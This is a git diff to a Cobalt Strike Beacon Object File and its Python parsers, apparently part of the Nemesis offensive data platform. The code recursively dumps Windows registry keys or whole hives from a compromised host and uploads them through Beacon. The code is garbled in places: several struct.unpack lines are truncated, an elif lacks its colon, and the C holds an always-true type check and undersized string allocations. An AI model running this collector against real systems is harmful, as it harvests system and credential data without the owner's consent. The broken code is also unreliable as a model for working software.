diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/.gitignore b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/.gitignore new file mode 100644 index 0000000..ce9208f --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/.gitignore @@ -0,0 +1,5 @@ +build/nemesis_bof.x64.o +build/nemesis_bof.x86.o +build/reg_collect.x64.o +build/reg_collect.x86.o +.mypy_cache \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md index 45f1706..9d02139 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md @@ -15,6 +15,8 @@ bof_reg_collect 3. Parse output with `nemesis_reg_collect_parser.py` +Note: To download a full hive, use an empty string as the path. Ex `bof_reg_collect HKLM ""` + ``` python3 nemesis_reg_collect_parser.py ``` diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o deleted file mode 100644 index afe863a..0000000 Binary files a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o and /dev/null differ diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o deleted file mode 100644 index cef53be..0000000 Binary files a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o and /dev/null differ diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c index 927307b..c27cbac 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c @@ -17,13 +17,13 @@ typedef struct _queue { } queue, *Pqueue; int _size(Pqueue q) { - int retval = 0; - Pitem i = q->head; - while (i != NULL) { - retval++; - i = i->next; - } - return retval; + int retval = 0; + Pitem i = q->head; + while (i != NULL) { + retval++; + i = i->next; + } + return retval; } void _push(Pqueue q, void *v) { Pitem i = (Pitem)intAlloc(sizeof(item)); diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c index 0c9e26f..0d99b8f 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c @@ -6,7 +6,7 @@ #define CHUNK_SIZE 0xe1000 // https://github.com/helpsystems/nanodump/blob/3262e14d2652e21a9e7efc3960a796128c410f18/source/utils.c#L630-L728 -BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) { +BOOL upload_file(LPCSTR fileName, char fileData[], ULONG32 fileLength) { int fileNameLength = MSVCRT$strnlen(fileName, 256); // intializes the random number generator @@ -87,4 +87,4 @@ BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) { packedClose[3] = (fileId >> 0x00) & 0xFF; BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); return TRUE; -} \ No newline at end of file +} diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py index 1a6e329..898ce39 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py @@ -1,7 +1,7 @@ -import struct -from typing import Tuple, NamedTuple, Union, List -import sys import json +import struct +import sys +from typing import List, NamedTuple, Tuple, Union REG_NONE = 0 REG_SZ = 1 @@ -11,38 +11,45 @@ REG_DWORD = 4 REG_DWORD_BIG_ENDIAN = 5 REG_LINK = 6 REG_MULTI_SZ = 7 -# REG_RESOURCE_LIST = 8 -# REG_FULL_RESOURCE_DESCRIPTOR = 9 -# REG_RESOURCE_REQUIREMENTS_LIST = 10 +REG_RESOURCE_LIST = 8 +REG_FULL_RESOURCE_DESCRIPTOR = 9 +REG_RESOURCE_REQUIREMENTS_LIST = 10 REG_QWORD = 11 + def read_unsigned_int(data: bytes) -> Tuple[int, bytes]: - (ret,), data = struct.unpack('>I', data[:4]), data[4:] + (ret,), data = struct.unpack(">I", data[:4]), data[4:] return ret, data + def read_unsigned_long(data: bytes) -> Tuple[int, bytes]: - (ret,), data = struct.unpack(' Tuple[int, bytes]: - (ret,), data = struct.unpack('>L', data[:4]), data[4:] + (ret,), data = struct.unpack(">L", data[:4]), data[4:] return ret, data + def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]: - (ret,), data = struct.unpack(' Tuple[bytes, bytes]: - (ret,) = struct.unpack(f'>{length}s', data[:length]) + (ret,) = struct.unpack(f">{length}s", data[:length]) return ret, data[length:] + def read_string(data: bytes) -> Tuple[bytes, int, bytes]: size, data = read_unsigned_int(data) if size == 0: - return b'', size, data + return b"", size, data ret, data = read_fixed_string(data, size) return ret, size, data + class RegKey(NamedTuple): type_: int path: str @@ -52,23 +59,30 @@ class RegKey(NamedTuple): value: Union[bytes, int, List[bytes]] value_size: int + def read_key(data: bytes) -> Tuple[RegKey, bytes]: type_, data = read_unsigned_int(data) path, path_size, data = read_string(data) - path = path.decode('utf-16') + path = path.decode("utf-16") key, key_size, data = read_string(data) - key = key.decode('utf-16') + key = key.decode("utf-16") - value = b'' + value = b"" value_length = 0 if type_ == REG_NONE: _, data = read_unsigned_int(data) + value = None elif type_ == REG_DWORD: _, data = read_unsigned_int(data) value, data = read_unsigned_long(data) - elif type_ == REG_BINARY: + elif type_ in [ + REG_BINARY, + REG_RESOURCE_LIST, + REG_FULL_RESOURCE_DESCRIPTOR, + REG_LINK, + ]: value, value_length, data = read_string(data) value = list(value) elif type_ == REG_DWORD_BIG_ENDIAN: @@ -76,25 +90,29 @@ def read_key(data: bytes) -> Tuple[RegKey, bytes]: value, data = read_unsigned_long_be(data) elif type_ == REG_MULTI_SZ: value, value_length, data = read_string(data) - value = [v for v in value.decode('utf-16').split('\0') if v != ''] + value = [v for v in value.decode("utf-16").split("\0") if v != ""] elif type_ == REG_QWORD: _, data = read_unsigned_int(data) value, data = read_unsigned_long_long(data) else: value, value_length, data = read_string(data) - value = value.decode('utf-16') + try: + value = value.decode("utf-16") + except Exception as e: + value = value.decode("latin-1") return RegKey(type_, path, path_size, key, key_size, value, value_length), data -if __name__ == '__main__': + +if __name__ == "__main__": if len(sys.argv) != 3: - print('Usage: python nemesis_reg_parser.py ') + print("Usage: python nemesis_reg_parser.py ") sys.exit(1) input_path = sys.argv[1] output_path = sys.argv[2] - with open(input_path, 'rb') as f: + with open(input_path, "rb") as f: data = f.read() arr = [] arr_size, data = read_unsigned_int(data) @@ -102,5 +120,5 @@ if __name__ == '__main__': for i in range(arr_size): reg_key, data = read_key(data) arr.append(reg_key._asdict()) - with open(output_path, 'w') as f: + with open(output_path, "w") as f: json.dump(arr, f) diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna index 5367b56..dd3e028 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna @@ -11,7 +11,7 @@ sub readbof { { berror($1, "could not read bof file"); } - + $msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3); blog($1, $msg); btask($1, $msg); @@ -38,4 +38,5 @@ beacon_command_register( "bof_reg_collect", "Does Nemesis registry things", "Usage: bof_reg_collect " + ); \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c index a7a4ca2..a18a0a4 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c @@ -21,23 +21,36 @@ typedef struct _RegPath { wchar_t *value; } RegPath; -wchar_t *path_join(const wchar_t *path1, wchar_t *path2) { - int path1Length = MSVCRT$wcslen(path1); - int path2Length = MSVCRT$wcslen(path2); - int totalLength = path1Length + path2Length + 2; - wchar_t *joined_path = intAlloc(totalLength * sizeof(wchar_t)); - if (!joined_path) { +wchar_t *path_join(const wchar_t *path1, const wchar_t *path2) { + wchar_t *new_path; + if (MSVCRT$wcscmp(path1, L"") == 0) { + int path_length = MSVCRT$wcslen(path2); + new_path = intAlloc(path_length * sizeof(wchar_t)); + MSVCRT$wcscpy(new_path, path2); + return new_path; + } + if (MSVCRT$wcscmp(path2, L"") == 0) { + int path_length = MSVCRT$wcslen(path1); + new_path = intAlloc(path_length * sizeof(wchar_t)); + MSVCRT$wcscpy(new_path, path1); + return new_path; + } + int path1len = MSVCRT$wcslen(path1); + int path2len = MSVCRT$wcslen(path2); + int totallen = path1len + path2len + 2; + new_path = intAlloc(totallen * sizeof(wchar_t)); + if (!new_path) { BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for joined path"); return NULL; } - MSVCRT$wcscpy(joined_path, path1); - MSVCRT$wcscat(joined_path, L"\\"); - MSVCRT$wcscat(joined_path, path2); - return joined_path; + MSVCRT$wcscpy(new_path, path1); + MSVCRT$wcscat(new_path, L"\\"); + MSVCRT$wcscat(new_path, path2); + return new_path; } -void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, - const wchar_t *key_path, bool recurse) { +void query_registry_path(Pqueue queue, HKEY hive, const wchar_t *arg_hive, + const wchar_t *key_path, bool recurse) { HKEY target_reg_key; DWORD rc1, rc2, rc3, rc4; @@ -45,21 +58,21 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, &target_reg_key)) == ERROR_SUCCESS) { - WCHAR achClass[MAX_PATH]; // buffer for class name - DWORD cchClassName = MAX_PATH; // size of class string + WCHAR ach_class[MAX_PATH]; // buffer for class name + DWORD cch_class_name = MAX_PATH; // size of class string DWORD num_subkeys = 0; // number of subkeys DWORD max_subkey_length; // longest subkey size - DWORD cchMaxClass; // longest class string + DWORD max_class; // longest class string DWORD num_values; // number of values for key DWORD max_key_length; // longest value name DWORD max_value_length; // longest value data - DWORD cbSecurityDescriptor; // size of security descriptor + DWORD security_descriptor_length; // size of security descriptor DWORD i; if ((rc2 = ADVAPI32$RegQueryInfoKeyW( - target_reg_key, achClass, &cchClassName, NULL, &num_subkeys, - &max_subkey_length, &cchMaxClass, &num_values, &max_key_length, - &max_value_length, &cbSecurityDescriptor, NULL)) == + target_reg_key, ach_class, &cch_class_name, NULL, &num_subkeys, + &max_subkey_length, &max_class, &num_values, &max_key_length, + &max_value_length, &security_descriptor_length, NULL)) == ERROR_SUCCESS) { // Enumerate Subkeys and recurse @@ -70,9 +83,10 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, if ((rc3 = ADVAPI32$RegEnumKeyExW(target_reg_key, i, subkey_name, &subkey_name_size, NULL, NULL, NULL, NULL)) == ERROR_SUCCESS) { + if (recurse) { wchar_t *new_key = path_join(key_path, subkey_name); - QueryRegistryPath(queue, hive, arg_hive, new_key, recurse); + query_registry_path(queue, hive, arg_hive, new_key, recurse); intFree(new_key); } } else { @@ -93,86 +107,78 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, if ((rc4 = ADVAPI32$RegEnumValueW( target_reg_key, i, key, &key_length, NULL, &value_type, value_data, &value_data_length)) == ERROR_SUCCESS) { - RegPath *regPath = (RegPath *)intAlloc(sizeof(RegPath)); - queue->push(queue, regPath); - regPath->type = value_type; + RegPath *reg_path = (RegPath *)intAlloc(sizeof(RegPath)); + queue->push(queue, reg_path); + reg_path->type = value_type; wchar_t *total_path = path_join(arg_hive, key_path); size_t total_path_length = MSVCRT$wcslen(total_path); - regPath->path_length = total_path_length * sizeof(wchar_t); - regPath->path = (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t)); - MSVCRT$memcpy(regPath->path, total_path, + reg_path->path_length = total_path_length * sizeof(wchar_t); + reg_path->path = + (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t)); + MSVCRT$memcpy(reg_path->path, total_path, total_path_length * sizeof(wchar_t)); + intFree(total_path); - regPath->key_length = key_length * sizeof(wchar_t); - regPath->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t)); - MSVCRT$memcpy(regPath->key, key, key_length * sizeof(wchar_t)); + reg_path->key_length = key_length * sizeof(wchar_t); + reg_path->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t)); + MSVCRT$memcpy(reg_path->key, key, key_length * sizeof(wchar_t)); if (value_type == REG_NONE) { - regPath->value_length = 0; - regPath->value = NULL; + reg_path->value_length = 0; + reg_path->value = NULL; } else if (value_type == REG_SZ) { - regPath->value_length = value_data_length; - regPath->value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(regPath->value, value_data, value_data_length); + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } else if (value_type == REG_EXPAND_SZ) { - wchar_t *raw_value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(raw_value, value_data, value_data_length); - // Use ExpandEnvironmentStringsW to expand the string - DWORD expandedSize = - KERNEL32$ExpandEnvironmentStringsW(raw_value, NULL, 0); - DWORD total_size = (expandedSize + 1) * sizeof(wchar_t); - wchar_t *expanded = (wchar_t *)intAlloc(total_size); - KERNEL32$ExpandEnvironmentStringsW(raw_value, expanded, - expandedSize); - // Copy the expanded string into the value - regPath->value_length = total_size; - regPath->value = expanded; - intFree(raw_value); - } else if (value_type == REG_BINARY) { - regPath->value_length = value_data_length; - regPath->value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(regPath->value, value_data, value_data_length); + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } else if (value_type == REG_DWORD || value_type == REG_DWORD_BIG_ENDIAN) { - regPath->value_length = sizeof(DWORD); - regPath->value = (wchar_t *)intAlloc(sizeof(DWORD)); + reg_path->value_length = sizeof(DWORD); + reg_path->value = (wchar_t *)intAlloc(sizeof(DWORD)); DWORD value = *(DWORD *)value_data; - MSVCRT$memcpy(regPath->value, &value, sizeof(DWORD)); - } else if (value_type == REG_LINK) { - // TODO - } else if (value_type == REG_MULTI_SZ) { - regPath->value_length = value_data_length; - regPath->value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(regPath->value, value_data, value_data_length); + MSVCRT$memcpy(reg_path->value, &value, sizeof(DWORD)); + } else if (value_type == REG_BINARY || REG_LINK || + value_type == REG_MULTI_SZ || + value_type == REG_RESOURCE_LIST || + value_type == REG_FULL_RESOURCE_DESCRIPTOR || + value_type == REG_RESOURCE_REQUIREMENTS_LIST) { + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } else if (value_type == REG_QWORD) { - regPath->value_length = sizeof(QWORD); - regPath->value = (wchar_t *)intAlloc(sizeof(QWORD)); + reg_path->value_length = sizeof(QWORD); + reg_path->value = (wchar_t *)intAlloc(sizeof(QWORD)); QWORD value = *(QWORD *)value_data; - MSVCRT$memcpy(regPath->value, &value, sizeof(QWORD)); + MSVCRT$memcpy(reg_path->value, &value, sizeof(QWORD)); } else { BeaconPrintf(CALLBACK_ERROR, "Unsupported type: %d\n", value_type); - regPath->value_length = 0; + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } } else { - BeaconPrintf(CALLBACK_ERROR, "Error code: %li\n", rc4); + BeaconPrintf(CALLBACK_ERROR, "[WARNING] Error code: %li\n", rc4); } intFree(key); intFree(value_data); } } } else { - BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n", - rc2); + // BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n", + // rc2); } } else { - BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1); + // BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1); } ADVAPI32$RegCloseKey(target_reg_key); } -void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) { +void format_upload_registry_data(Pqueue queue, char *upload_file_name) { Pitem cursor; RegPath *curitem; formatp obj; @@ -220,7 +226,7 @@ void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) { queue->free(queue); out = BeaconFormatToString(&obj, &fmt_size); - UploadFile(upload_file_name, out, fmt_size); + upload_file(upload_file_name, out, fmt_size); BeaconFormatFree(&obj); } @@ -239,6 +245,12 @@ void go(char *args, int alen) { arg_hive = BeaconDataExtract(&parser, NULL); arg_path = BeaconDataExtract(&parser, NULL); + if (arg_file_name == NULL || arg_hive == NULL || arg_path == NULL) { + BeaconPrintf(CALLBACK_ERROR, + "Usage: bof_reg_collect \n"); + return; + } + if (MSVCRT$strcmp(arg_hive, "HKCR") == 0) { target_hive = HKEY_CLASSES_ROOT; } else if (MSVCRT$strcmp(arg_hive, "HKCU") == 0) { @@ -264,10 +276,11 @@ void go(char *args, int alen) { path = (wchar_t *)intAlloc(wchars_num * sizeof(wchar_t)); KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, path, wchars_num); - QueryRegistryPath(queue, target_hive, arg_hive_w, path, true); + query_registry_path(queue, target_hive, arg_hive_w, path, true); + num_keys = queue->size(queue); BeaconPrintf(CALLBACK_OUTPUT, "Total reg keys: %d", num_keys); if (num_keys != 0) - FormatUploadRegistryData(queue, arg_file_name); + format_upload_registry_data(queue, arg_file_name); intFree(path); } diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py index c86c43b..29d12d2 100644 --- a/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py +++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py @@ -1,9 +1,7 @@ -# Standard Libraries -import base64 -import json import struct +from typing import Tuple, NamedTuple, Union, List import sys -from typing import List, NamedTuple, Tuple, Union +import json REG_NONE = 0 REG_SZ = 1 @@ -13,11 +11,37 @@ REG_DWORD = 4 REG_DWORD_BIG_ENDIAN = 5 REG_LINK = 6 REG_MULTI_SZ = 7 -# REG_RESOURCE_LIST = 8 -# REG_FULL_RESOURCE_DESCRIPTOR = 9 -# REG_RESOURCE_REQUIREMENTS_LIST = 10 +REG_RESOURCE_LIST = 8 +REG_FULL_RESOURCE_DESCRIPTOR = 9 +REG_RESOURCE_REQUIREMENTS_LIST = 10 REG_QWORD = 11 +def read_unsigned_int(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack('>I', data[:4]), data[4:] + return ret, data + +def read_unsigned_long(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack(' Tuple[int, bytes]: + (ret,), data = struct.unpack('>L', data[:4]), data[4:] + return ret, data + +def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack(' Tuple[bytes, bytes]: + (ret,) = struct.unpack(f'>{length}s', data[:length]) + return ret, data[length:] + +def read_string(data: bytes) -> Tuple[bytes, int, bytes]: + size, data = read_unsigned_int(data) + if size == 0: + return b'', size, data + ret, data = read_fixed_string(data, size) + return ret, size, data class RegKey(NamedTuple): type_: int @@ -28,97 +52,59 @@ class RegKey(NamedTuple): value: Union[bytes, int, List[bytes]] value_size: int +def read_key(data: bytes) -> Tuple[RegKey, bytes]: + type_, data = read_unsigned_int(data) + path, path_size, data = read_string(data) + path = path.decode('utf-16') -class BofRegCollect: - def __init__(self, data: bytes): - self.data = data + key, key_size, data = read_string(data) + key = key.decode('utf-16') - @classmethod - def from_file(cls, path: str) -> "BofRegCollect": - with open(path, "rb") as f: - return cls(f.read()) + value = b'' + value_length = 0 - def read_unsigned_int(self) -> int: - (ret,), self.data = struct.unpack(">I", self.data[:4]), self.data[4:] - return ret + if type_ == REG_NONE: + _, data = read_unsigned_int(data) + value = None + elif type_ == REG_DWORD: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long(data) + elif type_ in [REG_BINARY, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_LINK] + value, value_length, data = read_string(data) + value = list(value) + elif type_ == REG_DWORD_BIG_ENDIAN: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long_be(data) + elif type_ == REG_MULTI_SZ: + value, value_length, data = read_string(data) + value = [v for v in value.decode('utf-16').split('\0') if v != ''] + elif type_ == REG_QWORD: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long_long(data) + else: + value, value_length, data = read_string(data) + try: + value = value.decode('utf-16') + except Exception as e: + value = value.decode('latin-1') - def read_unsigned_long(self) -> int: - (ret,), self.data = struct.unpack(" int: - (ret,), self.data = struct.unpack(">L", self.data[:4]), self.data[4:] - return ret - - def read_unsigned_long_long(self) -> int: - (ret,), self.data = struct.unpack(" bytes: - (ret,), self.data = struct.unpack(f">{length}s", self.data[:length]), self.data[length:] - return ret - - def read_string(self) -> Tuple[bytes, int]: - size = self.read_unsigned_int() - if size == 0: - return b"", size - ret = self.read_fixed_string(size) - return ret, size - - def read_key(self) -> Tuple[RegKey, bytes]: - type_ = self.read_unsigned_int() - path, path_size = self.read_string() - path = path.decode("utf-16") - - key, key_size = self.read_string() - key = key.decode("utf-16") - if key == "(default)": - key = "" - - value = b"" - value_length = 0 - - if type_ == REG_NONE: - self.read_unsigned_int() - elif type_ == REG_DWORD: - self.read_unsigned_int() - value = self.read_unsigned_long() - elif type_ == REG_BINARY: - value, value_length = self.read_string() - value = base64.b64encode(value).decode("ASCII") - elif type_ == REG_DWORD_BIG_ENDIAN: - self.read_unsigned_int() - value = self.read_unsigned_long_be() - elif type_ == REG_MULTI_SZ: - value, value_length = self.read_string() - value = [v for v in value.decode("utf-16").split("\0") if v != ""] - elif type_ == REG_QWORD: - self.read_unsigned_int() - value = self.read_unsigned_long_long() - else: - value, value_length = self.read_string() - value = value.decode("utf-16").strip("\x00") - - return RegKey(type_, path, path_size, key, key_size, value, value_length) - - def parse(self) -> List[RegKey]: - arr = [] - arr_size = self.read_unsigned_int() - - for i in range(arr_size): - reg_key = self.read_key() - arr.append(reg_key) - return arr - - -if __name__ == "__main__": +if __name__ == '__main__': if len(sys.argv) != 3: - print("Usage: python nemesis_reg_parser.py ") + print('Usage: python nemesis_reg_parser.py ') sys.exit(1) input_path = sys.argv[1] output_path = sys.argv[2] - reg = [k._asdict() for k in BofRegCollect.from_file(input_path).parse()] - with open(output_path, "w") as f: - json.dump(reg, f) + with open(input_path, 'rb') as f: + data = f.read() + arr = [] + arr_size, data = read_unsigned_int(data) + + for i in range(arr_size): + reg_key, data = read_key(data) + arr.append(reg_key._asdict()) + with open(output_path, 'w') as f: + json.dump(arr, f)